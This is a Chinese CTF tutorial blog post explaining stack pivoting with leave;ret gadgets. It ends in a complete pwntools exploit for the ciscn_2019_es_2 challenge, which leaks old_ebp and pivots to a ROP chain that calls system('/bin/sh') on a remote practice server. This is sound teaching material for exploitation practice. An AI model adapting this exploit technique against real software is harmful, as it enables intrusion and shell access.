栈迁移基础

栈迁移在各种学习平台中并没有特意去作为一个专题来讲,所以本来我也是没有太注重这种溢出的姿势,但是参加过几次比赛后发现几乎不会给你简单的溢出特别多字节的题,基本上都会用到栈迁移,所以要着重学习一下。
​前提是需要会栈溢出漏洞,详见——>栈溢出漏洞

栈迁移简介

​ 栈迁移就是控制E/RBP、E/RSP寄存器,让栈帧指向一段我们可以控制的内存,从而实现程序执行流的目的。
​ 栈溢出攻击时,一个条件就是栈上有充分的空间可以布局。当溢出空间不够时,就需要栈迁移来解决了。

栈迁移利用原理(以32位为例)

​ leave和ret的作用:

  • ​ leave指令做出了两步操作mov ebp,esp和pop ebp。
    • mov ebp,esp:将ebp的值赋给esp,这样esp和ebp就会指向同一块内存。
    • pop ebp:将esp指向的值赋给ebp,同时esp保存的地址增加四个字节(64位增加八个字节),就是指向上一个栈块。
  • ​ ret指令相当于pop eip
    • pop eip:将当前esp中的值赋给eip,这样下一步就会去执行更新后的eip指向的内容了,同时esp指向上一个栈块。
      ​ 在指令集中,每次call之后都会执行leave;ret来退出call指令,以继续往下执行,因此我们可以利用这个指令来进行栈迁移,控制程序执行流。
      ​ 要实现栈迁移,需要进行两次写入,第一次往可读可写段写入rop链,第二次栈溢出,将esp指向上次写入的rop链所在的段地址,还需要两次leave;ret,一次是栈溢出修改ret地址,一次是完成迁移。

例题

ciscn_2019_es_2(大家都用的这个)

32位,IDA看看
在这里插入图片描述
发现存在栈溢出,但是只溢出了0x30-0x28=0x8字节,不够我们直接构造rop链,就要用到栈溢出了,我们gdb调试一下
在这里插入图片描述
在这里插入图片描述
发现ebp寄存器在0xffffd0a8,栈上ebp为0xffffd0b8,即oldebp,与缓冲区s开头的距离为0x38
攻击思路:

  • 利用printf泄露oldebp地址
  • 在s中写入rop链
  • 将ebp覆盖为oldebp-0x38,即再次回到缓冲区开头,从而执行rop链
    exp:
from pwn import *

io=remote('node4.buuoj.cn',25126)

elf=ELF('./ciscn_2019_es_2')

sys_addr=0x8048400
leave_ret=0x080484b8

io.recvuntil("Welcome, my friend. What's your name?")

payload=b'a'*0x24+b'bbbb'
io.send(payload)			#如果用sendline()的话会多发送一个字节
io.recvuntil('bbbb')
old_ebp=u32(io.recv(4))		#接收old_ebp地址

log.success("old_ebp="+hex(old_ebp))

payload2=b'aaaa'+p32(sys_addr)+b'bbbb'+p32(old_ebp-0x38+0x10)+b'/bin/sh\x00'
payload2=payload2.ljust(0x28,b'c')

payload2+=p32(old_ebp-0x38)+p32(leave_ret)

io.sendline(payload2)
io.interactive()

栈迁移练习题——>栈迁移例题

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Lxxxt_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值